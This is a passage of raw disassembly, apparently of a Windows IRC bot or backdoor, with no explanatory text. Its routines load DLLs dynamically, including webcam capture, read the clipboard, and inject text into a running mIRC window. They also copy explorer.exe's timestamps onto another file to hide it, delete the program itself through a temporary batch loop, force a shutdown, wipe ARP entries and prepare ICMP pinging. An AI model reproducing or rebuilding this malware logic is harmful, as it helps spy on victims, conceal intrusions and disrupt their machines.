mov dword_43EC40, 1
loc_40A293: ; CODE XREF: sub_409658+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A2C8
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_43EA7C, eax
call esi ; GetProcAddress
cmp dword_43EA7C, ebx
mov dword_43EB54, eax
jz short loc_40A2D3
cmp eax, ebx
jnz short loc_40A2DD
jmp short loc_40A2D3
; ---------------------------------------------------------------------------
loc_40A2C8: ; CODE XREF: sub_409658+C46j
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EC4C, eax
loc_40A2D3: ; CODE XREF: sub_409658+C68j
; sub_409658+C6Ej
mov dword_43EC48, 1
loc_40A2DD: ; CODE XREF: sub_409658+C6Cj
pop edi
xor eax, eax
pop esi
pop ebp
inc eax
pop ebx
retn
sub_409658 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A2E5 proc near ; CODE XREF: sub_40EC43+575Ep
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_43EBE0, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A32D
push dword_43EBE4
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A32D: ; CODE XREF: sub_40A2E5+1Aj
cmp dword_43EBE8, esi
jz short loc_40A361
push dword_43EBEC
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A361: ; CODE XREF: sub_40A2E5+4Ej
cmp dword_43EBF0, esi
jz short loc_40A395
push dword_43EBF4
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A395: ; CODE XREF: sub_40A2E5+82j
cmp dword_43EBF8, esi
jz short loc_40A3C9
push dword_43EBFC
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A3C9: ; CODE XREF: sub_40A2E5+B6j
cmp dword_43EC00, esi
jz short loc_40A3FD
push dword_43EC04
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A3FD: ; CODE XREF: sub_40A2E5+EAj
cmp dword_43EC08, esi
jz short loc_40A431
push dword_43EC0C
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A431: ; CODE XREF: sub_40A2E5+11Ej
cmp dword_43EC10, esi
jz short loc_40A465
push dword_43EC14
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A465: ; CODE XREF: sub_40A2E5+152j
cmp dword_43EC18, esi
jz short loc_40A499
push dword_43EC1C
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A499: ; CODE XREF: sub_40A2E5+186j
cmp dword_43EC20, esi
jz short loc_40A4CD
push dword_43EC24
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A4CD: ; CODE XREF: sub_40A2E5+1BAj
cmp dword_43EC28, esi
jz short loc_40A501
push dword_43EC2C
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A501: ; CODE XREF: sub_40A2E5+1EEj
cmp dword_43EC30, esi
jz short loc_40A535
push dword_43EC34
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A535: ; CODE XREF: sub_40A2E5+222j
cmp dword_43EC38, esi
jz short loc_40A569
push dword_43EC3C
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A569: ; CODE XREF: sub_40A2E5+256j
cmp dword_43EC40, esi
jz short loc_40A59D
push dword_43EC44
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A59D: ; CODE XREF: sub_40A2E5+28Aj
cmp dword_43EC48, esi
jz short loc_40A5D1
push dword_43EC4C
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 20h
loc_40A5D1: ; CODE XREF: sub_40A2E5+2BEj
lea eax, [ebp+var_200]
push offset dword_42C960
push eax
call sub_416FB6
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A5FE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_40A5FE: ; CODE XREF: sub_40A2E5+302j
lea eax, [ebp+var_200]
push eax
call sub_40BD8D
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A2E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A610 proc near ; CODE XREF: sub_40EC43+BEEp
; sub_40EC43+C1Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_40A69B
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_40A69B
cmp [ebp+arg_8], esi
jz short loc_40A69B
cmp byte ptr [eax], 0
jz short loc_40A69B
push ebx
push edi
call sub_422450
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_40A696
push [ebp+arg_4]
push edi
call sub_417580
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40A68F
sub eax, edi
push eax
push edi
push ebx
call sub_418910
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_4177B0
push eax
push [ebp+arg_8]
push ebx
call sub_418AE0
push [ebp+arg_4]
call sub_4177B0
add eax, esi
push eax
push ebx
call sub_4176D0
push ebx
push edi
call sub_4176C0
add esp, 30h
mov esi, edi
loc_40A68F: ; CODE XREF: sub_40A610+3Cj
push ebx
call sub_41793B
pop ecx
loc_40A696: ; CODE XREF: sub_40A610+2Bj
mov eax, esi
pop ebx
jmp short loc_40A69D
; ---------------------------------------------------------------------------
loc_40A69B: ; CODE XREF: sub_40A610+Cj
; sub_40A610+13j ...
xor eax, eax
loc_40A69D: ; CODE XREF: sub_40A610+89j
pop edi
pop esi
pop ebp
retn
sub_40A610 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6A1 proc near ; CODE XREF: sub_40EAC7+E9p
var_7D0 = dword ptr -7D0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push edi
xor ebx, ebx
push 7D0h
lea eax, [ebp+var_7D0]
push ebx
push eax
call sub_417030
mov esi, [ebp+arg_0]
push esi
call sub_4177B0
xor edi, edi
add esp, 10h
inc edi
cmp eax, edi
jge short loc_40A6D9
or eax, 0FFFFFFFFh
jmp short loc_40A740
; ---------------------------------------------------------------------------
loc_40A6D9: ; CODE XREF: sub_40A6A1+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+var_7D0], esi
jle short loc_40A6FA
loc_40A6E5: ; CODE XREF: sub_40A6A1+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_40A6F2
cmp dl, 0Dh
jnz short loc_40A6F5
loc_40A6F2: ; CODE XREF: sub_40A6A1+4Aj
mov [ecx+esi], bl
loc_40A6F5: ; CODE XREF: sub_40A6A1+4Fj
inc ecx
cmp ecx, eax
jl short loc_40A6E5
loc_40A6FA: ; CODE XREF: sub_40A6A1+42j
xor edx, edx
cmp eax, ebx
jle short loc_40A722
loc_40A700: ; CODE XREF: sub_40A6A1+7Fj
cmp [edx+esi], bl
jnz short loc_40A71D
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_40A71D
cmp edi, 1F4h
jge short loc_40A722
mov [ebp+edi*4+var_7D0], ecx
inc edi
loc_40A71D: ; CODE XREF: sub_40A6A1+62j
; sub_40A6A1+6Aj
inc edx
cmp edx, eax
jl short loc_40A700
loc_40A722: ; CODE XREF: sub_40A6A1+5Dj
; sub_40A6A1+72j
cmp [ebp+arg_4], ebx
jz short loc_40A73E
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_417090
add esp, 0Ch
loc_40A73E: ; CODE XREF: sub_40A6A1+84j
mov eax, edi
loc_40A740: ; CODE XREF: sub_40A6A1+36j
pop edi
pop esi
pop ebx
leave
retn
sub_40A6A1 endp
; =============== S U B R O U T I N E =======================================
sub_40A745 proc near ; CODE XREF: sub_40A79F+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_40A77E
push ebx
mov ebx, edi
loc_40A762: ; CODE XREF: sub_40A745+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_40A781
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_40A762
pop ebx
loc_40A77E: ; CODE XREF: sub_40A745+18j
pop edi
pop esi
retn
sub_40A745 endp
; =============== S U B R O U T I N E =======================================
sub_40A781 proc near ; CODE XREF: sub_40A745+25p
; sub_40A79F+69p
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_418E01
cmp al, 61h
pop ecx
jl short loc_40A79C
cmp al, 7Ah
jg short loc_40A79C
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_40A79C: ; CODE XREF: sub_40A781+Ej
; sub_40A781+12j
xor eax, eax
retn
sub_40A781 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A79F proc near ; CODE XREF: sub_40BE6E+10p
; sub_40BEA0+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_417830
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_4177B0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_4177B0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_40A745
add esp, 14h
dec esi
mov edi, esi
jmp short loc_40A851
; ---------------------------------------------------------------------------
loc_40A7DF: ; CODE XREF: sub_40A79F+B4j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_418E01
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_418E01
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40A84F
loc_40A801: ; CODE XREF: sub_40A79F+AEj
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_40A781
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_40A822
mov eax, ecx
loc_40A822: ; CODE XREF: sub_40A79F+7Fj
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_40A85F
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_418E01
movsx ecx, byte ptr [edi+ebx]
push ecx
mov [ebp+var_8], eax
call sub_418E01
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_40A801
loc_40A84F: ; CODE XREF: sub_40A79F+60j
dec edi
dec esi
loc_40A851: ; CODE XREF: sub_40A79F+3Ej
test esi, esi
jg short loc_40A7DF
mov eax, [ebp+arg_0]
add eax, edi
loc_40A85A: ; CODE XREF: sub_40A79F+C2j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A85F: ; CODE XREF: sub_40A79F+88j
xor eax, eax
jmp short loc_40A85A
sub_40A79F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A863 proc near ; CODE XREF: sub_40EC43+3C43p
; sub_40EC43+4AECp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_42308C ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_423104 ; FormatMessageA
loc_40A896: ; DATA XREF: .data:0042746Co
; .data:004274B0o ...
lea eax, [ebp+var_100]
loc_40A89C: ; CODE XREF: sub_40A863+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_40A8A8
cmp cl, 9
jnz short loc_40A8AB
loc_40A8A8: ; CODE XREF: sub_40A863+3Ej
inc eax
jmp short loc_40A89C
; ---------------------------------------------------------------------------
loc_40A8AB: ; CODE XREF: sub_40A863+43j
; sub_40A863+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_40A8C5
mov cl, [eax]
cmp cl, 2Eh
jz short loc_40A8AB
cmp cl, 21h
jl short loc_40A8AB
loc_40A8C5: ; CODE XREF: sub_40A863+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_43EC50
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41752A
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40A863 endp
; =============== S U B R O U T I N E =======================================
sub_40A8ED proc near ; CODE XREF: sub_40EC43+56EAp
push esi
push 0
call dword_43EAF4 ; OpenClipboard
test eax, eax
jz short loc_40A924
push 1
call dword_43EB14 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_40A924
push edi
push esi
call dword_42310C ; GlobalLock
push esi
mov edi, eax
call dword_423108 ; GlobalUnlock
call dword_43EB78 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40A924: ; CODE XREF: sub_40A8ED+Bj
; sub_40A8ED+19j
xor eax, eax
pop esi
retn
sub_40A8ED endp
; =============== S U B R O U T I N E =======================================
sub_40A928 proc near ; CODE XREF: sub_40EC43+4896p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call dword_43EB30 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_40A9A4
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_423114 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_423000 ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_416FB6
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_43EB80 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_43EB80 ; SendMessageA
push ebx
call dword_423110 ; UnmapViewOfFile
push edi
call dword_423078 ; CloseHandle
xor eax, eax
pop ebx
inc eax
jmp short loc_40A9A6
; ---------------------------------------------------------------------------
loc_40A9A4: ; CODE XREF: sub_40A928+16j
xor eax, eax
loc_40A9A6: ; CODE XREF: sub_40A928+7Aj
pop edi
pop esi
pop ebp
retn
sub_40A928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9AA proc near ; CODE XREF: sub_40E48A+200p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_43EBDC ; SearchPathA
test eax, eax
jz short loc_40AA49
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_423084
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40AA49
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_42311C ; GetFileTime
push ebx
mov ebx, dword_423078
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40AA49
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_423118 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_40AA49: ; CODE XREF: sub_40A9AA+2Aj
; sub_40A9AA+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40A9AA endp
; =============== S U B R O U T I N E =======================================
sub_40AA4E proc near ; CODE XREF: sub_40EC43+133Ap
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_414EAB
pop ecx
pop ecx
push 50005h
push 6
call dword_43EA6C ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_40AA4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA70 proc near ; CODE XREF: sub_40C90D+45Fp
; sub_40EC43+5986p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_42E918, esi
push edi
jz short loc_40AA94
cmp dword_43EBF0, esi
jnz short loc_40AA94
push esi
call sub_40BFCF
pop ecx
loc_40AA94: ; CODE XREF: sub_40AA70+13j
; sub_40AA70+1Bj
call sub_416C3D
lea eax, [ebp+var_764]
push eax
push 400h
call dword_42312C ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_416FB6
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_423084 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_40ABF4
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_416FB6
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_42307C ; WriteFile
push edi
call dword_423078 ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417030
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_417030
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43BCE8
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_423100 ; GetModuleHandleA
push eax
call dword_423094 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_4230A8 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_40AB9C
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_423128 ; SetFileAttributesA
loc_40AB9C: ; CODE XREF: sub_40AA70+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_416FB6
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_423124 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_423120 ; CreateProcessA
loc_40ABF4: ; CODE XREF: sub_40AA70+72j
pop edi
pop esi
leave
retn
sub_40AA70 endp
; =============== S U B R O U T I N E =======================================
sub_40ABF8 proc near ; CODE XREF: sub_4013E8+7p
; sub_401985+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43EB64 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40AC20
push [esp+arg_0]
call dword_43EBA8 ; gethostbyname
test eax, eax
jnz short loc_40AC19
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AC19: ; CODE XREF: sub_40ABF8+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AC20: ; CODE XREF: sub_40ABF8+Dj
retn
sub_40ABF8 endp
; =============== S U B R O U T I N E =======================================
sub_40AC21 proc near ; CODE XREF: sub_40E961+D6p
mov ecx, dword_43EA4C
xor eax, eax
test ecx, ecx
jz short locret_40AC2F
jmp ecx
; ---------------------------------------------------------------------------
locret_40AC2F: ; CODE XREF: sub_40AC21+Aj
retn
sub_40AC21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC30 proc near ; CODE XREF: sub_40EC43:loc_4142DFp
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_43EBA0 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz short loc_40ACB7
sub ecx, 32h
jz loc_40AD01
sub ecx, 48h
jz short loc_40AC8C
sub ecx, 6Eh
jz short loc_40AC85
loc_40AC6E: ; CODE XREF: sub_40AC30+85j
push eax
lea eax, [ebp+var_88]
push offset unk_42CC58
push eax
call sub_416FB6
add esp, 0Ch
jmp short loc_40ACE2
; ---------------------------------------------------------------------------
loc_40AC85: ; CODE XREF: sub_40AC30+3Cj
push offset dword_42CC24
jmp short loc_40ACD4
; ---------------------------------------------------------------------------
loc_40AC8C: ; CODE XREF: sub_40AC30+37j
push [ebp+var_8]
call sub_417889
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_417030
add esp, 10h
cmp esi, edi
jz short loc_40ACCF
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_43EBA0 ; GetIpNetTable
cmp eax, edi
jnz short loc_40AC6E
loc_40ACB7: ; CODE XREF: sub_40AC30+29j
cmp [esi], edi
jbe short loc_40ACF2
lea ebx, [esi+4]
loc_40ACBE: ; CODE XREF: sub_40AC30+9Bj
push ebx
call dword_43EB9C ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40ACBE
jmp short loc_40ACF2
; ---------------------------------------------------------------------------
loc_40ACCF: ; CODE XREF: sub_40AC30+75j
push offset dword_42CBE4
loc_40ACD4: ; CODE XREF: sub_40AC30+5Aj
; sub_40AC30+D6j
lea eax, [ebp+var_88]
push eax
call sub_416FB6
pop ecx
pop ecx
loc_40ACE2: ; CODE XREF: sub_40AC30+53j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_40BD8D
pop ecx
loc_40ACF2: ; CODE XREF: sub_40AC30+89j
; sub_40AC30+9Dj
push esi
call sub_41793B
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40AD01: ; CODE XREF: sub_40AC30+2Ej
push offset unk_42CBA8
jmp short loc_40ACD4
sub_40AC30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD08 proc near ; CODE XREF: sub_401444+231p
; sub_401D6D+253p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_43EAC8 ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_43EE50
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_416FB6
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AD08 endp
; =============== S U B R O U T I N E =======================================
sub_40AD61 proc near ; CODE XREF: sub_4010B2+24Cp
; sub_4010B2+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_40AD8C
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+8+arg_0]
loc_40AD7F: ; CODE XREF: sub_40AD61+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_40AD7F
pop edi
jmp short loc_40AD90
; ---------------------------------------------------------------------------
loc_40AD8C: ; CODE XREF: sub_40AD61+Aj
mov esi, [esp+4+arg_0]
loc_40AD90: ; CODE XREF: sub_40AD61+29j
test ecx, ecx
jz short loc_40AD99
movzx eax, byte ptr [esi]
add edx, eax
loc_40AD99: ; CODE XREF: sub_40AD61+31j
mov ecx, edx
and edx, 0FFFFh
shr ecx, 10h
add ecx, edx
pop esi
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AD61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADB1 proc near ; DATA XREF: sub_40EC43+2E37o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_417830
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
xor edi, edi
inc edi
mov [eax+120h], edi
call dword_43EAB0 ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_43EB64 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40AE0C
lea eax, [ebp+var_C0]
push eax
call dword_43EBA8 ; gethostbyname
cmp eax, ebx
jz short loc_40AE12
loc_40AE0C: ; CODE XREF: sub_40ADB1+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_40AE6F
loc_40AE12: ; CODE XREF: sub_40ADB1+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42CCD0
push eax
call sub_416FB6
add esp, 0Ch
